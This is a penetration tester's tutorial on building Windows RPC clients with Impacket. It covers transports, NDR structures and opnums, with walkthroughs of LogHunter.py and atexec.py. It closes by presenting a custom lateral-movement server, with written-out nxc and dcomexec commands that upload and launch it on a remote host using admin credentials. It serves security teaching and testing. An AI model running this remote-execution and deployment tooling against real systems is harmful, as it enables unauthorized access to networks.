Impacket Developer Guide. Part 3. Make your own Lateral Movement
Hello everybody, my name is Michael Zhmailo and I am a penetration testing expert in the CICADA8 team.
Here’s contents of our guide:
- First part — introduction to impacket and RPC;
- Second part — some words about RPC security, EpMapper and discovering RPC on the system.
So, in this part we will finally start to dive deep into impacket. We will define custom structures, choose the right transport, and also create all the necessary function prototypes. In general, we will learn how to create RPC clients using impacket. And then we’ll create our own lateral movement tool that uses impacket and Windows RPC under the hood! : )
So, let’s get started with programming. In this article, we’ll cover two ways:
- Using the existing MSRPC protocol: MS-EVEN (LogHunter.py) + MS-TSCH (atexec.py);
- Creating a custom transport.
Journey starts from MS-???
So, the first thing we need to do is decide on the MS-RPC protocol we want to connect to and the functionality of which we want to use.
To give you a clear understanding of how to work with Impacket, I’ve included two scripts:
- LogHunter.py — uses the MS-EVEN protocol to parse event files and find user sessions;
- atexec.py — uses the MS-TSCH protocol to execute commands on domain-joined computers. Useful for lateral movement.
Endpoint, Interface UUID, Methods
Once you’ve determined which MSRPC protocol functionality you need, you need to determine which endpoint it listens on. That is, which port, SMB named pipe, or other location the RPC server with the required functionality is running on. Most often, the endpoint for connection is described in the official protocol documentation on MSDN.
Here is an example of documentation for MS-EVEN
Here for MS-TSCH
The available RPC methods are described in the same documentation files.
Remember that you can also discover RPC servers using the tools I described in the second part of the guide. In this case, you’ll have to define the interface yourself and call methods using Opnum.
Few words about OpNums
In RPC, methods are called not by function name, but by a special OpNum (Operation Number). The method number corresponds to the RPC method’s position in the IDL file on the server.
For example, in the first part of this guide, we wrote an RPC server with a single method, Add(). Its OpNum is 0. If we had added methods like Multiply() and HackTheWorld(), they would have had OpNums 1 and 2, respectively.
We often don’t need to specify OpNums ourselves, as they’re already included in Impacket.
Also u can find opnums on the MSDN.
However, if Impacket doesn’t have the MSRPC protocol you need, you’ll need to initialize the OpNum by yourself. I’ll show you how to do this a bit later.
Classes and factories
ProtocolHandler
Almost all tools that use Impacket have a core class called Protocol Handler. It implements the target tool’s core methods. For example, in atexec.py, this is the doStuff()method for executing a command, and in loghunter.py, this is the read_logs() method.
Globally, your Protocol Handler should have several methods to comply with some abstract (unwritten) development standards using Impacket:
- __init__() — This is where the necessary fields for your tool are initialized. This is a standard python constructor. For example u can initialize login/password, endpoint, interface UUID (if the RPC server supports several different ones);
- authenticate() — sometimes called login(). A connection to the RPC server is established using the provided credentials. After a successful connection, the method returns a special DCE variable (the DCERPC_V5 class), which I’ll describe later. For now, remember that we’ll call the necessary RPC methods through this DCE variable;
- connect() — connects to the RPC server without authentication. Returns DCE;
- do….() — the main method containing the tool’s logic.
Of course, these rules are often not followed, but….. you can be the exception! :)
DCERPCTransportFactory && DCERPCStringBinding
These are the two main classes you can use to connect to an RPC server. DCERPCTransportFactory implements the Factory pattern and allows you to create instances of the DCERPCTransport class.
def bound(self, address):
stringbinding = r'ncacn_np:%s[\pipe\eventlog]' % address
# u can set interface UUID in the string binding or connect to the interface later
# stringbinding = r'82273FDC-E32A-18C3-3F78-827929DC23EA@ncacn_np:%s[\pipe\eventlog]' % address
logging.debug(rf"Trying to connect on {address}\pipe\eventlog, stringbinding: {stringbinding} on user {self.__username}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
...In DCERPCTransportFactory, we pass a string that points to the desired String Binding. That is, the address where the RPC server is listening.
Internally, the factory creates a DCERPCStringBindingclass, which impacket uses to parse the passed string binding and determine which protocol you will use to connect to the RPC server.
def DCERPCTransportFactory(stringbinding):
sb = DCERPCStringBinding(stringbinding)
na = sb.get_network_address()
ps = sb.get_protocol_sequence()
if 'ncadg_ip_udp' == ps:
port = sb.get_endpoint()
if port:
rpctransport = UDPTransport(na, int(port))
else:
rpctransport = UDPTransport(na)
elif 'ncacn_ip_tcp' == ps:
port = sb.get_endpoint()
if port:
rpctransport = TCPTransport(na, int(port))
else:
rpctransport = TCPTransport(na)
elif 'ncacn_http' == ps:
port = sb.get_endpoint()
if port:
rpctransport = HTTPTransport(na, int(port))
else:
rpctransport = HTTPTransport(na)
elif 'ncacn_np' == ps:
named_pipe = sb.get_endpoint()
if named_pipe:
named_pipe = named_pipe[len(r'\pipe'):]
rpctransport = SMBTransport(na, filename = named_pipe)
else:
rpctransport = SMBTransport(na)
elif 'ncalocal' == ps:
named_pipe = sb.get_endpoint()
rpctransport = LOCALTransport(filename = named_pipe)
else:
raise DCERPCException("Unknown protocol sequence.")
rpctransport.set_stringbinding(sb)
return rpctransportDCERPCTransport
Instances of this class are created using the DCERPCTransportFactory. They contain logic for interacting with the RPC server over a specific protocol. For example, TCPTransport (ncacn_ip_tcp) allows data transfer over TCP, and HTTPTransport allows data transfer over HTTP. A full list of supported transports can be found here.
class HTTPTransport(TCPTransport):
"Implementation of ncacn_http protocol sequence"
def connect(self):
TCPTransport.connect(self)
self.get_socket().send('RPC_CONNECT ' + self.get_dip() + ':593 HTTP/1.0\r\n\r\n')
data = self.get_socket().recv(8192)
if data[10:13] != '200':
raise Exception("Service not supported.")I’d like to draw your attention to the most frequently used methods of the DCERPCTransportclass:
- set_credentials() — allows you to set credentials for connecting to the RPC server;
- set_kerberos() — allows you to configure Kerberos authentication;
- get_dce_rpc() — allows you to get a DCERPC_V5class variable, which we will use to interact with the RPC server.
def bound(self, address):
stringbinding = r'ncacn_np:%s[\pipe\eventlog]' % address
# stringbinding = r'82273FDC-E32A-18C3-3F78-827929DC23EA@ncacn_np:%s[\pipe\eventlog]' % address
logging.debug(rf"Trying to connect on {address}\pipe\eventlog, stringbinding: {stringbinding} on user {self.__username}")
# rpctransport is DCERPCTransport
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
aesKey=self.__aesKey,
)
# self.__dce is DCERPC_V5
self.__dce = rpctransport.get_dce_rpc()
if (self.__doKerberos):
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
...DCERPC_V5
The DCERPC_V5 class contains all the basic methods we need to interact with the RPC server.
connect()is the main method, inherited from theDCERPCclass, allowing us to connect to the RPC server using the required transport;bind()allows us to connect to the required RPC interface.
def bound(self, address):
stringbinding = r'ncacn_np:%s[\pipe\eventlog]' % address
# stringbinding = r'82273FDC-E32A-18C3-3F78-827929DC23EA@ncacn_np:%s[\pipe\eventlog]' % address
logging.debug(rf"Trying to connect on {address}\pipe\eventlog, stringbinding: {stringbinding} on user {self.__username}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
aesKey=self.__aesKey,
)
self.__dce = rpctransport.get_dce_rpc()
if (self.__doKerberos):
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__dce.connect()
self.__dce.bind(even.MSRPC_UUID_EVEN)
logging.debug("Successfully bound to MS-EVEN")
return self.__dcecall()calls the RPC method on opnum and passes the required data. To receive a response from the RPC server, we need to callrecv(). There is a lower-level equivalent calledsend(). It is recommended to use eithercall()(for a blind call) orrequest()(if we need a response from the RPC server).
OPNUM_EXECUTE = 0
...
class NDRExecuteRequest(ndr.NDRCALL):
structure = (
('input', WSTR),
)
class NDRExecuteResponse(ndr.NDRCALL):
structure = (
('output', LPWSTR),
('Return', DWORD),
)
...
request = NDRExecuteRequest()
request['input'] = "whoami\x00"
try:
self.dce.call(OPNUM_EXECUTE, request)
response = self.dce.recv()
resp = NDRExecuteResponse(response)
print(resp.dumpRaw())
...
except DCERPCException as e:
print(f"[-] Execute failed: {e}")
raise If we want to see the structure that was returned to us, or if we don’t understand how to parse the response, then we call resp.dumpRaw()
def execute(self, command):
request = NDRExecuteRequest()
request['input'] = "whoami\x00"
try:
self.dce.call(OPNUM_EXECUTE, request)
response = self.dce.recv()
resp = NDRExecuteResponse(response)
print(resp.dumpRaw())request()allows us to call the required method and receive a response from the RPC server.
class ElfrOpenELW(NDRCALL):
opnum = 7
structure = (
('UNCServerName', EVENTLOG_HANDLE_W),
('ModuleName', RPC_UNICODE_STRING),
('RegModuleName', RPC_UNICODE_STRING),
('MajorVersion', ULONG),
('MinorVersion', ULONG),
)
def hElfrOpenELW(dce, moduleName = NULL, regModuleName = NULL):
request = ElfrOpenELW()
request['UNCServerName'] = NULL
request['ModuleName'] = moduleName
request['RegModuleName'] = regModuleName
request['MajorVersion'] = 1
request['MinorVersion'] = 1
return dce.request(request)set_auth_level()— Allows you to set the security level for the connection, for example,RPC_C_AUTHN_LEVEL_PKT_PRIVACY;set_auth_type()— Allows you to set the authentication type. For example,RPC_C_AUTHN_GSS_NEGOTIATE.
Don’t ignore set_auth_level() and set_auth_type(), otherwise you may get 0x5 ERROR_ACCESS_DENIED when connecting to some RPC servers! For example, LogHunter had this issue on Windows Server 2025. Fix is here.
Connection examples
Without credentials
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
# Create string binding
stringBinding = r'ncacn_ip_tcp:{}[41337]'.format(target_ip)
# Connects to the endpoint using the string binding
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
dce.connect()
# Casts the UUID string and version into a valid UUID object
interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
# Binds to the interface
dce.bind(interface_uuid)With credentials
import logging
import argparse
import sys
from impacket.examples.utils import parse_target
from impacket.dcerpc.v5 import even, transport
class MsEvenHandler:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__dce = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def authenticate(self, address):
stringbinding = r'82273FDC-E32A-18C3-3F78-827929DC23EA@ncacn_np:%s[\pipe\eventlog]' % address
logging.debug(f"Trying to connect on {address}\pipe\eventlog, stringbinding: {stringbinding} on user {self.__username}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
aesKey=self.__aesKey,
)
if (self.__doKerberos):
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__dce = rpctransport.get_dce_rpc()
self.__dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.__dce.connect()
self.__dce.bind(even.MSRPC_UUID_EVEN)
logging.debug("Successfully bound to MS-EVEN")
return self.__dce
if __name__ == "__main__":
domain, username, password, address = parse_target(options.target)
logHunter = MsEvenHandler(username=username, password=password, domain=domain,
hashes=options.hashes, aesKey=options.aesKey, doKerberos=options.k, kdcHost=options.dc_ip)
dce = logHunter.authenticate(address=address)
response = even.hElfrOpenELW(dce=dce, moduleName="Security")LogHunter.py Analysis
Let’s put our knowledge into practice. Let’s explore how LogHunter.py works.
Here’s Protocol Handler called MsEvenHandler :
class MsEvenHandler:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__dce = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def bound(self, address):
...
@staticmethod
def process_logs(q):
...
@staticmethod
def read_logs(q, dce, hLogHandle, recordscount):
...
...
logHunter = MsEvenHandler(username=username, password=password, domain=domain,
hashes=options.hashes, aesKey=options.aesKey, doKerberos=options.k, kdcHost=options.dc_ip)After class initialization, the bound() method is called. It connects to the RPC server using the DCERPCTransportFactory and DCERPCTransport, and returns DCERPC_V5.
def bound(self, address):
stringbinding = r'ncacn_np:%s[\pipe\eventlog]' % address
# stringbinding = r'82273FDC-E32A-18C3-3F78-827929DC23EA@ncacn_np:%s[\pipe\eventlog]' % address
logging.debug(rf"Trying to connect on {address}\pipe\eventlog, stringbinding: {stringbinding} on user {self.__username}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
aesKey=self.__aesKey,
)
self.__dce = rpctransport.get_dce_rpc()
if (self.__doKerberos):
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__dce.connect()
self.__dce.bind(even.MSRPC_UUID_EVEN)
logging.debug("Successfully bound to MS-EVEN")
return self.__dceAfter connecting to the target RPC server, we can use the DCE variable to call its methods. All the necessary methods and structures are defined in the even.py file, so we don’t need to define them separately. We’ll use the ones the impacket developers have created for us.
from impacket.dcerpc.v5 import even, transport
...
dce = logHunter.bound(address=address)
response = even.hElfrOpenELW(dce=dce, moduleName="Security")
hLogHandle = response['LogHandle']
response = even.hElfrNumberOfRecords(dce=dce, logHandle=hLogHandle)
recordscount = response['NumberOfRecords']
logging.debug(f"Found {recordscount} records")
log_queue = Queue()
processing_thread = Thread(target=MsEvenHandler.process_logs, args=(log_queue,))
reader_thread = Thread(target=MsEvenHandler.read_logs,args=(log_queue, dce, hLogHandle, recordscount))After which I launch threads to process the logs.
atexec.py analysis
In the atexec.py file, all logic is contained within the ATSVC_EXECclass.
atsvc_exec = ATSVC_EXEC(username, password, domain, options.hashes, ' '.join(options.command))
atsvc_exec.play(address)The connection is established within the play() function. Note how multiple endpoints are initialized, over which the target RPC server can operate.
class ATSVC_EXEC:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\atsvc]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\atsvc]', 445),
}
def __init__(self, username = '', password = '', domain = '', hashes = None, command = None):
self.__username = username
self.__password = password
self.__protocols = ATSVC_EXEC.KNOWN_PROTOCOLS.keys()
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__command = command
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def play(self, addr):
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
protodef = ATSVC_EXEC.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
print "Trying protocol %s..." % protocol
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.doStuff(rpctransport)
except Exception, e:
print 'Protocol failed: %s' % e
else:
# Got a response. No need for further iterations.
breakAfter a successful connection, the NetrJobAdd() method is called, through which the scheduled task is added. It’s worth noting that to run the created task, we need to call a method from another interface listening on the same endpoint. However, since it listens on the same endpoint, we can connect to the other interface using the alter_ctx() method of the DCERPC class.
dce2 = dce.alter_ctx(atsvc.MSRPC_UUID_TSS)
at = atsvc.DCERPCAtSvc(dce2)
resp = at.SchRpcRun('\\At%d' % jobId)After which we return to using the first interface and delete the completed task.
at = atsvc.DCERPCAtSvc(dce)
resp = at.NetrJobDel('\\\\%s'% rpctransport.get_dip(), jobId, jobId)
smbConnection = rpctransport.get_smb_connection()
while True:
try:
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception, e:
if str(e).find('SHARING') > 0:
time.sleep(3)
else:
raise
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
dce.disconnect()Some Custom Structures!
In all our examples, we’ve only looked at using ready-made MSRPC protocols from impacket. That is, someone has already defined the methods, structures, classes, and everything needed to call them for us. But what if we find a new RPC server and there are no wrappers? In that case, we need to implement everything ourselves!
For example, we won’t be able to call this method without additional wrappers, because impacket doesn’t know how to package data for transmission over RPC.
[
uuid(AA4DD128-1111-11DD-BC11-AE33C22DAA11),
version(1.0),
implicit_handle(handle_t ImplicitHandle)
]
interface MyCustomInterface
{
DWORD RegisterUser(
[in, string] wchar_t* username,
[in] int age
);
}Network Data Representation
So, to teach impacket to pass custom data structures and call methods of classes not previously defined in the project, we need to create a prototype class. This prototype class will package all the arguments passed to the method to be called, according to the Network Data Representation Format.
Some people call this class «stub». It has the following format.
class Prototype(ndr.<SOMENDRTYPE>):
structure = (
('argument_one', <packing_format>),
('argument_two', <packing_format>),
...
('argument_n', <packing_format>)
)
def func():
...SOMENDRTYPE— represents the type of NDR data we’re storing. That is, what we’ll be working with. For regular data,NDRCALLis almost always used;packing_format— It represents a packaging format. That is, how to marshal data.
Class prototype example:
class ElfrBackupELFW(NDRCALL):
opnum = 1
structure = (
('LogHandle', IELF_HANDLE),
('BackupFileName', RPC_UNICODE_STRING),
)Packing Format (Winapi)
If the method you are calling accepts standard WINAPI data types, then they are already defined in impacket and you can use them to specify the Packing Format.
from impacket.dcerpc.v5.dtypes import WSTR, DWORD, ULONG, LPWSTRPacking Format (Custom)
However, if the target method accepts a custom structure or data type, you must determine how to package it yourself. For this, you’ll need the structure.py file.
You must inherit from a class to define your own data type.
Let’s look at an example using my friend’s project ldap_shell. The MSDS_MANAGEDPASSWORD_BLOB structure is used. It’s worth noting that this structure is also accepted in LDAP/RPC calls, but impacket knows nothing about it. How can I make impacket work with it correctly?
In this case, the tool’s author created a class of the same name, inheriting it from the impacket base class called Structure.
Then he described the data type and how to package it for transmission over the network.
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'),
('Reserved','<H'),
('Length','<L'),
('CurrentPasswordOffset','<H'),
('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'),
('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'),
('PreviousPassword',':'),
#('AlignmentPadding',':'),
('QueryPasswordInterval',':'),
('UnchangedPasswordInterval',':'),
)In another project, the structure of the SMB2Negotiate message was defined like this.
class SMB2Negotiate(Structure):
structure = (
('StructureSize','<H=36'),
('DialectCount','<H=0'),
('SecurityMode','<H=0'),
('Reserved','<H=0'),
('Capabilities','<L=0'),
('ClientGuid','16s=""'),
('ClientStartTime','8s=""'), # or (NegotiateContextOffset/NegotiateContextCount/Reserved2) in SMB 3.1.1
('Dialects','*<H'),
# SMB 3.1.1
('Padding',':=""'),
('NegotiateContextList',':=""'),
)Moreover, we can also define different Kerberos structures. This class is universal.
class Header(Structure):
structure = (
('tag','!H=0'),
('taglen','!H=0'),
('_tagdata','_-tagdata','self["taglen"]'),
('tagdata',':'),
)Example
Let’s get back to our interface. How do we teach impacket to work with it?
[
uuid(AA4DD128-1111-11DD-BC11-AE33C22DAA11),
version(1.0),
implicit_handle(handle_t ImplicitHandle)
]
interface MyCustomInterface
{
VOID RegisterUser(
[in, string] wchar_t* username,
[in] int age
);
}Based on the existing prototype, it can be concluded that the structure should be filled in as follows:
class RegisterUser(NDRCALL):
structure = (
('username', WSTR),
('age', "<i")
)After that, you can fill this structure with the necessary data and send it to the RPC interface using the dce.call() or dce.request() method.
import argparse
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
parser = argparse.ArgumentParser()
parser.add_argument("-host", help="target computer", dest="target", type=str, required=True)
parser.add_argument("-port", help="port of the rpc server", dest="port", type=int, required=True)
parser.add_argument("-username", help="target username", dest="username", type=str, required=True)
parser.add_argument("-age", help="age of the user", dest="age", type=int, required=True)
args = parser.parse_args()
target = args.target
port = args.port
username = args.username
age = args.age
class RegisterUser(NDRCALL):
structure = (
('username', WSTR),
('age', "<i")
)
stringBinding = r'ncacn_ip_tcp:{}[{}]'.format(target, port)
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
dce.connect()
interface_uuid = uuidtup_to_bin(("AA4DD128-1111-11DD-BC11-AE33C22DAA11", "1.0"))
dce.bind(interface_uuid)
query = RegisterUser()
query['username'] = f"{username}\x00"
query['age'] = age
try:
# 0 opnum == first method
dce.call(0, query)
dce.recv()
except Exception as e:
print(f"[!] ERROR: {e}")
finally:
print("[*] Disconecting from the server")
dce.disconnect()However, what if the method returns some data, also using pointers?
DWORD Execute(
/*[in]*/ handle_t hBinding,
/*[in]*/ wchar_t* input,
/*[out, string]*/ wchar_t** output
)In this case, we will need to define another structure, a structure with a response from the RPC server and then convert response to this structure.
class NDRExecuteRequest(ndr.NDRCALL):
structure = (
('input', WSTR),
)
class NDRExecuteResponse(ndr.NDRCALL):
structure = (
('output', LPWSTR),
('Return', DWORD),
)
...
request = NDRExecuteRequest()
request['input'] = "whoami\x00"
try:
self.dce.call(OPNUM_EXECUTE, request)
response = self.dce.recv()
resp = NDRExecuteResponse(response)
print(resp.dumpRaw())
...
except DCERPCException as e:
print(f"[-] Execute failed: {e}")
raise Explicit/Implicit Bindings and impacket
In the first part of the guide, I highlighted about Implicit and Explicit Binding in RPC. However, how to work with them through Impacket? You may also have noticed that we do not initialize the Binding Handle everywhere. How so?
Let’s look at two IDL files.
# Explicit
[
uuid(d6b1ad2b-b550-4729-b6c2-1651f58480c3),
version(1.0),
]
interface Example1
{
int Output(
[in] handle_t hBinding,
[in, string] const wchar_t* pszOutput);
void Shutdown(
[in] handle_t hBinding);
}
# Implicit
[
uuid(9510b60a-2eac-43fc-8077-aaefbdf3752b),
version(1.0),
implicit_handle(handle_t hImplicitBinding)
]
interface Example1
{
int Output(
[in, string] const wchar_t* pszOutput);
void Shutdown();
}Accordingly, when calling functions on any client in C++, we either need to specify this parameter (Explicit) or specify it only once (Implicit).
// Explicit
handle_t hExplicitBinding = NULL;
rpcStatus = RpcBindingFromStringBinding(
szStringBinding,
&hExplicitBinding
);
RpcTryExcept
{
int retValue = Output(hExplicitBinding, L"Hello From Client!");
wprintf(L"[+] Value returned from Server is: %d\n", retValue);
Shutdown(hExplicitBinding);
}
RpcExcept(1)
{
wprintf(L"Runtime reported exception: %d.\n", RpcExceptionCode());
}
RpcEndExcept
// Implicit
rpcStatus = RpcBindingFromStringBinding(
szStringBinding,
&hImplicitBinding
);
if (rpcStatus != RPC_S_OK) {
wprintf(L"[-] Failed with status: %d.\n", rpcStatus);
exit(rpcStatus);
}
RpcTryExcept
{
int retValue = Output(L"Hello From Client!");
wprintf(L"[+] Value returned from Server is: %d\n", retValue);
Shutdown();
}
RpcExcept(1)
{
wprintf(L"Runtime reported exception: %d.\n", RpcExceptionCode());
}
RpcEndExceptHowever, in impacket we don’t have to look at this when defining structures, since it automatically passes the Binding Handle to the transport layer. The handle itself is already associated and configured at the DCERPCTransportFactory and dce stages after calling dce.bind().
In fact, if we compare it with the C++ client, then this handle itself is generated purely on the client, without connecting to the server via RpcBindingFromStringBinding(), and then with each request (in the Explicit version) it is transferred, but in the impact package all the necessary fields are initialized at the moment DCERPCTransportFactory + dce.bind() , so it is not necessary to specify the handle.
So we don’t have to define the structure like this:
class OutputInterface(ndr.NDRCALL):
structure = (
('hBinding', handle_t),
('pszOutput', WSTR)
)We can define it like this:
class OutputInterface(ndr.NDRCALL):
structure = (
('pszOutput', WSTR)
)And everything works! :)
If you look at the impacket source code, you will see that the binding handle value is 16 zeros throughout.
In fact, NULLarrives at the RPC server, but the Binding Handle is already set at the connection level, so this field is ignored.
RpcMotion
Well, I’ve shown you how to connect to RPC servers using Impacket. It’s time to tell you about my lateral movement tool! My idea was quite simple. Why do we need to use ready-made and everywhere detectable RPC servers for lateral movement if we can install our own on the end device?
U can find POC here. Everything is based on the fact that we are setting up our own RPC server, the functionality of which we will use.
By default, the RPC server will start at 0.0.0.0:12345, but you can change this in Server.cpp.
After that, you can connect to the server using either a C++ or Python client. Let’s look at the Python client’s functionality.
exec— allows you to execute commands on the system. I’ve also implemented support for different encodings;
silent— executes the command without displaying any output;
upload/download— allows you to upload files to the destination host;
ls— obvious : )
You can also connect/disconnect/reconnect to the server using the connect/disconnect commands. To shut down the server, use the shutdown command.
A logical question: how do I launch RPC Server on the endpoint? You can use any method you prefer. I suggest uploading the file via nxcand launching it via dcomexec with the -nooutput flag. Alternatively, you can upload the file to the startup folder or use DLL hijacking. You’re completely free to launch the server as you wish!
nxc smb office.local -u admin -p admin --put-file /root/RpcMotion.exe c:\rpcmotion.exeimpacket-dcomexec.py -nooutput admin:admin@10.10.10.10 "c:\rpcmotion.exe"
# or wmiexec. In the logs will be cmd.exe /Q /c c:\rpcmotion.exeConclusion
Thanks for reading my article! Follow us on X and stay in touch! POC here.
